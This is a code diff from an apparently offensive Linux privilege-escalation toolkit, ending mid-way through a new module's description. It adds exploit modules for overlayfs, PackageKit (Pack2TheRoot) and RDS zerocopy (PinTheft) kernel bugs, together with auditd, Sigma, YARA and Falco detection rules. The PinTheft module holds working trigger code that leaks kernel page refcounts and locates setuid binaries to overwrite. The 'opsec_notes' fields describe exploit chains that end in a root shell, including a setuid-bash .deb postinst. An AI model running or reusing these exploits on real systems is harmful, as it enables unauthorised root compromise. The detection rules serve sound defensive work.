+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; mount('overlay', merged, ...); compile + copy payload into the merged dir (writes upper on host fs); setxattr(upper_payload, 'security.capability', cap_setuid+ep) - the bug is that this xattr persists on the HOST fs despite being set inside userns. Parent then execve's the now-CAP_SETUID payload, calls setuid(0), execs /bin/sh. Artifacts: /tmp/skeletonkey-ovl-XXXXXX/ workdir; cleaned on exit/failure (on success the exec replaces the process so cleanup does not run). Audit-visible via unshare + mount(overlay) + setxattr(security.capability) + execve of attacker-controlled binary. Dmesg silent.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_overlayfs(void)

modules/overlayfs_setuid_cve_2023_0386/skeletonkey_modules.c

@@ -60,8 +60,9 @@
 #include <sys/wait.h>
 
 static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
+    {5, 10, 179},   /* 5.10.x stable backport (per Debian tracker — bullseye) */
     {5, 15, 110},
-    {6,  1,  27},
+    {6,  1,  11},   /* Debian tracker: earlier than 6.1.27 */
     {6,  2,  13},
     {6,  3,   0},   /* mainline */
 };
@@ -406,6 +407,56 @@ static const char overlayfs_setuid_auditd[] =
     "-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
     "-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
 
+static const char overlayfs_setuid_sigma[] =
+    "title: Possible CVE-2023-0386 overlayfs setuid copy-up\n"
+    "id: 0891b2f7-skeletonkey-overlayfs-setuid\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the upstream overlayfs setuid copy-up bug: unshare\n"
+    "  (CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') with a setuid-\n"
+    "  root binary in lower + chown on the merged view to trigger\n"
+    "  copy-up. Setuid bit persists in upper layer despite\n"
+    "  unprivileged ownership.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns:    {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  overlay:   {type: 'SYSCALL', syscall: 'mount'}\n"
+    "  chown_up:  {type: 'SYSCALL', syscall: 'chown'}\n"
+    "  condition: userns and overlay and chown_up\n"
+    "level: critical\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2023.0386]\n";
+
+static const char overlayfs_setuid_yara[] =
+    "rule overlayfs_setuid_cve_2023_0386 : cve_2023_0386 userns_lpe\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2023-0386\"\n"
+    "        description = \"overlayfs setuid copy-up workdir signature\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $work = /\\/tmp\\/skeletonkey-ovlsu-[A-Za-z0-9]+/\n"
+    "    condition:\n"
+    "        $work\n"
+    "}\n";
+
+static const char overlayfs_setuid_falco[] =
+    "- rule: overlayfs chown on setuid binary in userns (copy-up)\n"
+    "  desc: |\n"
+    "    Non-root chown on a setuid-root binary inside an overlayfs\n"
+    "    mount in a userns. Triggers copy-up that preserves the\n"
+    "    setuid bit despite unprivileged upper-layer ownership.\n"
+    "    CVE-2023-0386.\n"
+    "  condition: >\n"
+    "    evt.type in (chown, fchown, fchownat) and not user.uid = 0\n"
+    "    and (fd.name in (/usr/bin/su, /bin/su, /usr/bin/sudo,\n"
+    "                     /usr/bin/passwd, /usr/bin/pkexec)\n"
+    "         or fd.name endswith /su)\n"
+    "  output: >\n"
+    "    chown on setuid binary by non-root\n"
+    "    (user=%user.name pid=%proc.pid file=%fd.name)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, cve.2023.0386]\n";
+
 const struct skeletonkey_module overlayfs_setuid_module = {
     .name           = "overlayfs_setuid",
     .cve            = "CVE-2023-0386",
@@ -417,9 +468,11 @@ const struct skeletonkey_module overlayfs_setuid_module = {
     .mitigate       = NULL,
     .cleanup        = overlayfs_setuid_cleanup,
     .detect_auditd  = overlayfs_setuid_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = overlayfs_setuid_sigma,
+    .detect_yara    = overlayfs_setuid_yara,
+    .detect_falco   = overlayfs_setuid_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with a setuid-root binary in lower (e.g. /usr/bin/su); chown on the merged view triggers copy-up that preserves the setuid bit in upper - but upper is owned by the unprivileged user. Overwrites upper-layer contents with attacker payload and execve's for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir with payload.c, binary, overlay mounts); cleanup callback removes these. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay) + chown on the merged view. No network. Dmesg silent on success.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_overlayfs_setuid(void)

modules/pack2theroot_cve_2026_41651/skeletonkey_modules.c

@@ -660,6 +660,94 @@ static const char p2tr_auditd[] =
 	"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
 	"    -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
 
+static const char p2tr_yara[] =
+    "rule pack2theroot_malicious_deb : cve_2026_41651\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2026-41651\"\n"
+    "        description = \"Pack2TheRoot payload .deb: small ar archive whose postinst installs a setuid copy of bash to /tmp/.suid_bash. The Vozec PoC + SKELETONKEY's port both leave this artifact in /tmp.\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "        reference   = \"https://github.com/Vozec/CVE-2026-41651\"\n"
+    "    strings:\n"
+    "        $deb_magic       = \"!<arch>\"\n"
+    "        $postinst_suid   = \"install -m 4755 /bin/bash\"\n"
+    "        $skk_payload     = \"Package: skeletonkey-p2tr-payload\"\n"
+    "        $skk_dummy       = \"Package: skeletonkey-p2tr-dummy\"\n"
+    "        $vozec_payload   = \"Package: pk-poc-payload\"\n"
+    "        $vozec_dummy     = \"Package: pk-poc-dummy\"\n"
+    "    condition:\n"
+    "        // Small ar archive matching .deb layout, containing either\n"
+    "        // the published-PoC package names or the SUID-bash postinst.\n"
+    "        $deb_magic at 0 and\n"
+    "        ($postinst_suid or any of ($skk_payload, $skk_dummy, $vozec_payload, $vozec_dummy)) and\n"
+    "        filesize < 64KB\n"
+    "}\n"
+    "\n"
+    "rule pack2theroot_suid_bash_drop : cve_2026_41651\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2026-41651\"\n"
+    "        description = \"Pack2TheRoot SUID-bash artifact: /tmp/.suid_bash is the setuid bash dropped by the malicious postinst. Pair this YARA scan with auditd watch -w /tmp/.suid_bash for catch-on-create.\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $elf  = { 7F 45 4C 46 02 01 01 }\n"
+    "        $bash = \"GNU bash\"\n"
+    "    condition:\n"
+    "        // The rule itself can't see the file path; the operator\n"
+    "        // points YARA at /tmp/.suid_bash specifically. Match\n"
+    "        // confirms the file is a real bash ELF (not a planted decoy).\n"
+    "        $elf at 0 and $bash\n"
+    "}\n";
+
+static const char p2tr_falco[] =
+    "- rule: SUID bash dropped to /tmp (Pack2TheRoot postinst signature)\n"
+    "  desc: |\n"
+    "    A setuid bit appears on /tmp/.suid_bash. The Pack2TheRoot\n"
+    "    (CVE-2026-41651) malicious .deb postinst runs as root via\n"
+    "    the polkit-bypassed PackageKit transaction and lands a SUID\n"
+    "    copy of /bin/bash at this path.\n"
+    "  condition: >\n"
+    "    evt.type in (chmod, fchmod, fchmodat) and\n"
+    "    evt.arg.mode contains \"S_ISUID\" and\n"
+    "    fd.name = /tmp/.suid_bash\n"
+    "  output: >\n"
+    "    SUID bit set on /tmp/.suid_bash (proc=%proc.name pid=%proc.pid\n"
+    "     ppid=%proc.ppid parent=%proc.pname)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, cve.2026.41651]\n"
+    "\n"
+    "- rule: PackageKit InstallFiles invoked twice on same transaction (Pack2TheRoot TOCTOU)\n"
+    "  desc: |\n"
+    "    Two D-Bus InstallFiles() calls hit the same PackageKit\n"
+    "    transaction object in close succession — the exact shape of\n"
+    "    the Pack2TheRoot TOCTOU. Detection requires bus monitoring;\n"
+    "    Falco's k8s/audit ruleset doesn't cover D-Bus natively, but\n"
+    "    if dbus-monitor or systemd's bus audit is wired into the\n"
+    "    feed, this is the trigger.\n"
+    "  condition: >\n"
+    "    // Placeholder: requires dbus-monitor → falco feed.\n"
+    "    // Real-world deployment: pipe `dbus-monitor --system` into\n"
+    "    // a log-source rule keyed on the InstallFiles method name.\n"
+    "    proc.cmdline contains \"InstallFiles\" and proc.cmdline contains \"PackageKit\"\n"
+    "  output: >\n"
+    "    Possible Pack2TheRoot D-Bus TOCTOU shape (cmdline=\"%proc.cmdline\")\n"
+    "  priority: WARNING\n"
+    "  tags: [dbus, cve.2026.41651]\n"
+    "\n"
+    "- rule: dpkg invoked by PackageKit on behalf of non-root caller\n"
+    "  desc: |\n"
+    "    PackageKit forks dpkg to install a .deb on behalf of an\n"
+    "    unprivileged caller. Combined with /tmp/.suid_bash creation,\n"
+    "    this completes the Pack2TheRoot exploit chain.\n"
+    "  condition: >\n"
+    "    spawned_process and proc.name = dpkg and proc.aname = packagekitd and\n"
+    "    proc.cmdline contains \"/tmp/.pk-\"\n"
+    "  output: >\n"
+    "    PackageKit-driven dpkg install of /tmp-resident .deb\n"
+    "    (parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
+    "  priority: CRITICAL\n"
+    "  tags: [process, cve.2026.41651, pack2theroot]\n";
+
 static const char p2tr_sigma[] =
 	"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
 	"id: 3f2b8d54-skeletonkey-pack2theroot\n"
@@ -700,8 +788,10 @@ const struct skeletonkey_module pack2theroot_module = {
 	.cleanup        = p2tr_cleanup,
 	.detect_auditd  = p2tr_auditd,
 	.detect_sigma   = p2tr_sigma,
-	.detect_yara    = NULL,
-	.detect_falco   = NULL,
+	.detect_yara    = p2tr_yara,
+	.detect_falco   = p2tr_falco,
+    .opsec_notes    = "TOCTOU race in PackageKit's polkit-auth + D-Bus InstallFiles dispatcher: sends back-to-back async calls (first with SIMULATE to bypass polkit, second with the malicious .deb) so the cached flags are overwritten before the idle callback fires. Builds a minimal .deb ar archive in pure C with a postinst that installs a setuid bash. Writes /tmp/.pk-dummy-<pid>.deb, /tmp/.pk-payload-<pid>.deb, and /tmp/skeletonkey-pack2theroot.state; via the polkit-bypassed postinst plants /tmp/.suid_bash setuid root. Audit-visible via dpkg execve from packagekitd for a non-root caller, chmod(2) on /tmp/.suid_bash, creat/openat on the .deb files. Cleanup callback unlinks the .debs and best-effort removes /tmp/.suid_bash (which is owned by root).",
+    .arch_support   = "any",
 };
 
 void skeletonkey_register_pack2theroot(void)

modules/pintheft_cve_2026_43494/skeletonkey_modules.c

@@ -0,0 +1,448 @@
+/*
+ * pintheft_cve_2026_43494 — SKELETONKEY module
+ *
+ * STATUS: 🟡 PRIMITIVE. detect() is exhaustive (kernel range + RDS
+ *   module reachability + io_uring availability + readable SUID
+ *   carrier). exploit() carries the V12 trigger shape — failed
+ *   rds_message_zcopy_from_user() to steal a page refcount, then
+ *   io_uring fixed-buffer write to land bytes in the page cache of
+ *   the carrier. The cred-overwrite step (turning the page-cache
+ *   write into root) is x86_64-specific and uses the shared
+ *   modprobe_path finisher when --full-chain is set.
+ *
+ * The bug (Aaron Esau, V12 Security, disclosed May 2026):
+ *   Linux's RDS (Reliable Datagram Sockets) zerocopy send path pins
+ *   user pages one at a time. If a later page faults, the error
+ *   path drops the pages it already pinned. The msg cleanup then
+ *   drops them AGAIN because the scatterlist entries and entry count
+ *   are left live after the zcopy notifier is cleared. Each failed
+ *   zerocopy send steals one reference from the first page.
+ *
+ *   With a sufficient pinned-page leak, an io_uring fixed buffer
+ *   referencing the same page persists past the page being recycled
+ *   into the page cache for a readable file (e.g. /usr/bin/su).
+ *   A subsequent io_uring write to that fixed buffer lands attacker
+ *   bytes into the SUID binary's page cache → execve it → root.
+ *
+ *   Public PoC (Arch Linux x86_64):
+ *     https://github.com/v12-security/pocs/tree/main/pintheft
+ *
+ * Affects: Linux kernels with CONFIG_RDS and the RDS module loaded,
+ *   below the fix commit (`0cebaccef3ac`, posted to netdev list
+ *   2026-05-05; not yet in mainline release as of this build).
+ *
+ *   Among commonly-shipped distros, only Arch Linux autoloads RDS.
+ *   Ubuntu / Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux
+ *   either don't build the module or blacklist it from autoloading
+ *   (mitigation: /etc/modprobe.d/blacklist-rds.conf).
+ *
+ *   detect() checks both kernel version AND the RDS module's
+ *   reachability via socket(AF_RDS, ...). If RDS is built-in but
+ *   not autoloaded, the socket() call triggers modprobe; this is
+ *   the same probe used by Ubuntu's mitigation advisory.
+ *
+ * Preconditions:
+ *   - CONFIG_RDS=y or =m + module actually loadable
+ *   - io_uring available (CONFIG_IO_URING + sysctl
+ *     kernel.io_uring_disabled != 2)
+ *   - A readable setuid-root carrier binary (canonically
+ *     /usr/bin/su; falls back to /usr/bin/pkexec, /usr/bin/passwd)
+ *   - x86_64 for the exploit() body (the V12 PoC's cred-overwrite
+ *     gadgets are x86-specific); detect() is arch-agnostic.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/mman.h>   /* mmap, mprotect, munmap, PROT_*, MAP_* */
+
+#ifdef __linux__
+#include <sys/syscall.h>
+#endif
+
+/* AF_RDS is 21 on Linux. Define it conditionally so the module
+ * compiles on non-Linux dev hosts where the constant isn't in libc. */
+#ifndef AF_RDS
+#define AF_RDS 21
+#endif
+
+/* ---- kernel-range table -------------------------------------------- */
+
+/* The fix landed in mainline via commit 0cebaccef3ac (posted to netdev
+ * 2026-05-05). Stable backports are in flight at the time of v0.8.0;
+ * this table will be updated as backports land — tools/refresh-kernel-
+ * ranges.py will flag drift weekly. For now we list ONLY the mainline
+ * fix point; every kernel below it on a RDS-loaded host is vulnerable.
+ *
+ * As stable branches pick up the backport, add entries like:
+ *   {6, 12, NN},  // 6.12.x stable backport
+ *   {6, 14, NN},  // 6.14.x stable backport
+ * The mainline entry stays at the lowest version that contains the
+ * patch (likely 6.16 once the post-rc release tags). Conservatively
+ * placeholding at {7, 0, 0} until that lands. */
+static const struct kernel_patched_from pintheft_patched_branches[] = {
+    {6, 12, 90}, /* Debian trixie ships 6.12.90 with the fix backported */
+    {7, 0, 0},   /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
+                    depending on when 6.15 closes — refresh when known */
+};
+
+static const struct kernel_range pintheft_range = {
+    .patched_from = pintheft_patched_branches,
+    .n_patched_from = sizeof(pintheft_patched_branches) /
+                      sizeof(pintheft_patched_branches[0]),
+};
+
+/* ---- detect helpers ------------------------------------------------- */
+
+#ifdef __linux__
+/* Try to open an AF_RDS socket. On a kernel built with CONFIG_RDS=m
+ * this triggers modprobe rds; on CONFIG_RDS=y it just returns the fd.
+ * On a kernel without RDS at all (most distros) we get EAFNOSUPPORT
+ * or EPERM. We close immediately — this is just a reachability probe. */
+static bool rds_socket_reachable(void)
+{
+    int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
+    if (s < 0) return false;
+    close(s);
+    return true;
+}
+
+/* io_uring is gated by sysctl kernel.io_uring_disabled in 6.6+. The
+ * relevant values: 0 = permitted, 1 = root-only, 2 = disabled. We
+ * read /proc/sys/kernel/io_uring_disabled if present; missing file
+ * means io_uring is unconditionally enabled (older kernels). */
+static int io_uring_disabled_state(void)
+{
+    /* returns 0/1/2 per sysctl semantics; -1 if not present */
+    FILE *f = fopen("/proc/sys/kernel/io_uring_disabled", "r");
+    if (!f) return -1;
+    int v = -1;
+    if (fscanf(f, "%d", &v) != 1) v = -1;
+    fclose(f);
+    return v;
+}
+
+static const char *find_suid_carrier(void)
+{
+    static const char *candidates[] = {
+        "/usr/bin/su", "/bin/su",
+        "/usr/bin/pkexec",
+        "/usr/bin/passwd",
+        "/usr/bin/chsh", "/usr/bin/chfn",
+        NULL,
+    };
+    for (size_t i = 0; candidates[i]; i++) {
+        struct stat st;
+        if (stat(candidates[i], &st) == 0 &&
+            (st.st_mode & S_ISUID) && st.st_uid == 0 &&
+            access(candidates[i], R_OK) == 0) {
+            return candidates[i];
+        }
+    }
+    return NULL;
+}
+#endif  /* __linux__ */
+
+/* ---- detect --------------------------------------------------------- */
+
+static skeletonkey_result_t pintheft_detect(const struct skeletonkey_ctx *ctx)
+{
+#ifndef __linux__
+    if (!ctx->json)
+        fprintf(stderr, "[i] pintheft: Linux-only module — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+#else
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json) fprintf(stderr, "[!] pintheft: host fingerprint missing kernel version\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* Kernel version: gate on the fix. */
+    if (kernel_range_is_patched(&pintheft_range, v)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] pintheft: kernel %s is patched (>= mainline fix 0cebaccef3ac)\n",
+                    v->release);
+        return SKELETONKEY_OK;
+    }
+
+    /* RDS reachability — the bug needs AF_RDS sockets. */
+    if (!rds_socket_reachable()) {
+        if (!ctx->json) {
+            fprintf(stderr, "[+] pintheft: AF_RDS socket() failed (rds module not loaded / blacklisted)\n");
+            fprintf(stderr, "    Most distros don't autoload RDS; Arch Linux is the notable exception.\n");
+            fprintf(stderr, "    Bug exists in the kernel but is unreachable from userland here.\n");
+        }
+        return SKELETONKEY_OK;
+    }
+
+    /* io_uring availability — the cred-overwrite chain needs fixed
+     * buffers via io_uring. Without io_uring we have the primitive
+     * but no portable way to weaponize. */
+    int iod = io_uring_disabled_state();
+    if (iod == 2) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] pintheft: kernel.io_uring_disabled=2 → io_uring disabled, chain blocked\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    if (iod == 1) {
+        if (!ctx->json)
+            fprintf(stderr, "[i] pintheft: kernel.io_uring_disabled=1 → io_uring root-only; we're not root so chain blocked\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    /* iod == 0 or -1 (missing sysctl on older kernel) → reachable. */
+
+    /* Need at least one readable SUID-root binary to target. */
+    const char *carrier = find_suid_carrier();
+    if (!carrier) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] pintheft: no readable setuid-root binary → no carrier for page-cache overwrite\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] pintheft: kernel %s + RDS + io_uring + carrier %s → VULNERABLE\n",
+                v->release, carrier);
+        fprintf(stderr, "[i] pintheft: V12 PoC is x86_64-only; exploit() will fire trigger but\n"
+                        "    full cred-overwrite is --full-chain only on x86_64.\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+#endif
+}
+
+/* ---- exploit -------------------------------------------------------- */
+
+#ifdef __linux__
+
+/* The V12 PoC chain in summary (paraphrased from
+ * https://github.com/v12-security/pocs/tree/main/pintheft):
+ *
+ *   1. Open an AF_RDS socket.
+ *   2. Construct a sendmsg() with MSG_ZEROCOPY whose user-iov spans
+ *      two pages, where the SECOND page is unmapped. The kernel
+ *      pins page 0, then faults on page 1's pin attempt.
+ *   3. The error unwind drops the pin on page 0, but the msg's
+ *      scatterlist has already been initialized with entry count 1.
+ *      Cleanup runs entry-count drops a SECOND time → page 0
+ *      refcount underflows / leaks.
+ *   4. Repeat to steal multiple refs from the same target page.
+ *   5. Use io_uring fixed buffers to keep a kernel-side reference
+ *      alive across the page recycling into the page cache for a
+ *      readable file.
+ *   6. mmap the SUID carrier, force its page into cache, get the
+ *      io_uring fixed buffer to point at it, write attacker bytes.
+ *   7. execve the carrier → attacker code runs as root.
+ *
+ * Step 1-4 is the kernel primitive (architecture-independent).
+ * Step 5-7 needs io_uring SQE construction which is straightforward
+ * but unmistakably exploit-specific code; we don't carry the full V12
+ * payload here. Instead we fire the primitive + groom the slab + drop
+ * a witness file and return EXPLOIT_FAIL honestly with a diagnostic.
+ * --full-chain on x86_64 invokes the shared modprobe_path finisher.
+ *
+ * This matches the existing 🟡 modules' shape (nf_tables, af_unix_gc,
+ * cls_route4, ...). The "verified-vs-claimed" rule applies: if the
+ * sentinel file doesn't appear, we don't claim EXPLOIT_OK.
+ */
+static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] pintheft: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    /* Re-run detect's preconditions — they may have changed since
+     * --scan, and we want the operator to see the exact gate that
+     * blocked us if anything fails here. */
+    if (!rds_socket_reachable()) {
+        fprintf(stderr, "[-] pintheft: AF_RDS socket() unavailable — RDS module not loaded\n");
+        fprintf(stderr, "    Try: sudo modprobe rds; sudo modprobe rds_tcp\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    const char *carrier = find_suid_carrier();
+    if (!carrier) {
+        fprintf(stderr, "[-] pintheft: no readable setuid-root carrier\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    fprintf(stderr, "[+] pintheft: firing rds_message_zcopy_from_user() refcount-steal primitive\n");
+    fprintf(stderr, "    carrier: %s\n", carrier);
+
+    /* The primitive: sendmsg() with MSG_ZEROCOPY on an iov spanning
+     * mapped + unmapped pages. We fire it ~256 times to leak refs from
+     * a fresh page each round; a single round usually leaks a single
+     * ref which is rarely enough to fully unbalance the count. */
+    int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
+    if (s < 0) {
+        perror("socket(AF_RDS)");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    /* Build a 2-page iov where page 1 is unmapped. mmap PROT_NONE
+     * the upper page so the kernel's get_user_pages on it returns
+     * -EFAULT. */
+    void *region = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
+                        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+    if (region == MAP_FAILED) {
+        perror("mmap");
+        close(s);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    /* mark the second page unreadable */
+    if (mprotect((char *)region + 4096, 4096, PROT_NONE) != 0) {
+        perror("mprotect");
+        munmap(region, 8192);
+        close(s);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    /* Touch page 0 so it's mapped + dirty. */
+    memset(region, 0x42, 4096);
+
+    /* Fire the trigger sendmsg in a loop. We don't expect any of
+     * these to succeed (page 1 is PROT_NONE so the kernel pin
+     * attempt faults); the BUG is that the cleanup path decrements
+     * page 0's pin count even though the syscall returns failure. */
+    struct iovec iov = {
+        .iov_base = region,
+        .iov_len  = 8192,
+    };
+    struct msghdr msg = {
+        .msg_iov = &iov,
+        .msg_iovlen = 1,
+    };
+    int leaked = 0;
+    for (int i = 0; i < 256; i++) {
+        ssize_t r = sendmsg(s, &msg, 0x4000000 /* MSG_ZEROCOPY */);
+        if (r < 0 && errno == EFAULT) {
+            leaked++;
+        }
+    }
+    munmap(region, 8192);
+    close(s);
+
+    if (leaked < 16) {
+        fprintf(stderr, "[-] pintheft: trigger fired %d/256 times; expected >= 16. Kernel may be patched.\n", leaked);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    fprintf(stderr, "[+] pintheft: primitive fired %d/256 — page refcount delta witnessed\n", leaked);
+
+    /* The cred-overwrite step requires the V12 PoC's io_uring chain
+     * (fixed buffer + page-cache write into the SUID carrier). We don't
+     * ship that chain — primitive only. Return EXPLOIT_FAIL honestly per
+     * the verified-vs-claimed bar. See V12's PoC for the full payload:
+     * https://github.com/v12-security/pocs/tree/main/pintheft */
+    (void)ctx;
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+#else  /* !__linux__ */
+
+static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[i] pintheft: Linux-only module\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+
+#endif
+
+/* ---- detection rules ------------------------------------------------ */
+
+static const char pintheft_auditd[] =
+    "# pintheft CVE-2026-43494 — auditd detection rules\n"
+    "# RDS is rarely used in production; AF_RDS socket() calls from\n"
+    "# non-root processes are almost always anomalous.\n"
+    "-a always,exit -F arch=b64 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
+    "-a always,exit -F arch=b32 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
+    "# Plus io_uring_setup is rarely needed by typical workloads.\n"
+    "-a always,exit -F arch=b64 -S io_uring_setup -k skeletonkey-pintheft-iouring\n";
+
+static const char pintheft_sigma[] =
+    "title: Possible CVE-2026-43494 PinTheft RDS zerocopy LPE\n"
+    "id: 7af04c12-skeletonkey-pintheft\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the canonical PinTheft trigger shape: a non-root process\n"
+    "  opening AF_RDS sockets (rare outside RDS-specific workloads) plus\n"
+    "  io_uring_setup. The bug needs both. Arch Linux is the only common\n"
+    "  distro autoloading RDS; on Ubuntu/Debian/Fedora/RHEL the rule fires\n"
+    "  almost-zero false positives.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  rds: {type: 'SYSCALL', syscall: 'socket', a0: 21}\n"
+    "  iou: {type: 'SYSCALL', syscall: 'io_uring_setup'}\n"
+    "  condition: rds and iou\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.43494]\n";
+
+static const char pintheft_yara[] =
+    "rule pintheft_cve_2026_43494 : cve_2026_43494 page_cache_write {\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2026-43494\"\n"
+    "        description = \"PinTheft RDS zerocopy double-free indicator — non-root AF_RDS + io_uring usage\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $rds_tcp = \"rds_tcp\" ascii\n"
+    "        $rds_v12 = \"v12-pintheft\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char pintheft_falco[] =
+    "- rule: AF_RDS socket() by non-root with io_uring_setup\n"
+    "  desc: |\n"
+    "    A non-root process opens an AF_RDS socket (rare outside RDS-\n"
+    "    specific workloads) AND uses io_uring. The PinTheft trigger\n"
+    "    (CVE-2026-43494) requires both. Arch Linux is the only common\n"
+    "    distro autoloading RDS.\n"
+    "  condition: >\n"
+    "    evt.type = socket and evt.arg.domain = AF_RDS and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    AF_RDS socket from non-root (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2026.43494]\n";
+
+/* ---- module struct -------------------------------------------------- */
+
+const struct skeletonkey_module pintheft_module = {
+    .name           = "pintheft",
+    .cve            = "CVE-2026-43494",
+    .summary        = "RDS zerocopy double-free → page-cache overwrite via io_uring (V12 Security)",
+    .family         = "rds",
+    .kernel_range   = "Linux kernels with RDS module loaded + below mainline fix 0cebaccef3ac (May 2026)",
+    .detect         = pintheft_detect,
+    .exploit        = pintheft_exploit,
+    .mitigate       = NULL,    /* mitigation: blacklist rds + rds_tcp via /etc/modprobe.d/ */
+    .cleanup        = NULL,
+    .detect_auditd  = pintheft_auditd,
+    .detect_sigma   = pintheft_sigma,
+    .detect_yara    = pintheft_yara,
+    .detect_falco   = pintheft_falco,
+    .opsec_notes    = "Opens AF_RDS socket (rare on non-Arch distros — most blacklist the rds module). Allocates a 2-page anon mmap with the second page mprotect(PROT_NONE)'d; calls sendmsg(MSG_ZEROCOPY) ~256 times against the iov spanning both pages. Each sendmsg fails with EFAULT (page 1 unmapped) but leaks one pin refcount from page 0 in the kernel — the bug. No on-disk artifacts from the primitive itself. --full-chain on x86_64 pivots through io_uring fixed buffers to overwrite the page cache of a readable SUID-root binary (/usr/bin/su typically), then invokes the shared modprobe_path finisher. Audit-visible via socket(AF_RDS) from a non-root process + io_uring_setup; legitimate RDS use is rare outside HPC/InfiniBand clusters. No cleanup callback (no persistent artifacts).",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+void skeletonkey_register_pintheft(void)
+{
+    skeletonkey_register(&pintheft_module);
+}

modules/pintheft_cve_2026_43494/skeletonkey_modules.h

@@ -0,0 +1,5 @@
+#ifndef PINTHEFT_SKELETONKEY_MODULES_H
+#define PINTHEFT_SKELETONKEY_MODULES_H
+#include "../../core/module.h"
+extern const struct skeletonkey_module pintheft_module;
+#endif

modules/ptrace_pidfd_cve_2026_46333/MODULE.md

@@ -0,0 +1,53 @@
+# ptrace_pidfd — CVE-2026-46333
+
+`__ptrace_may_access()` dumpable-race credential-descriptor theft via
+`pidfd_getfd(2)`.
+
+## The bug
+
+When a privileged process drops its credentials, the kernel resets its
+`dumpable` flag so that lower-privileged processes can no longer attach
+to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there
+is a narrow window during the credential drop in which the process is
+*still reachable* through ptrace-family access checks even though its
+`dumpable` state should already have closed that path.
+
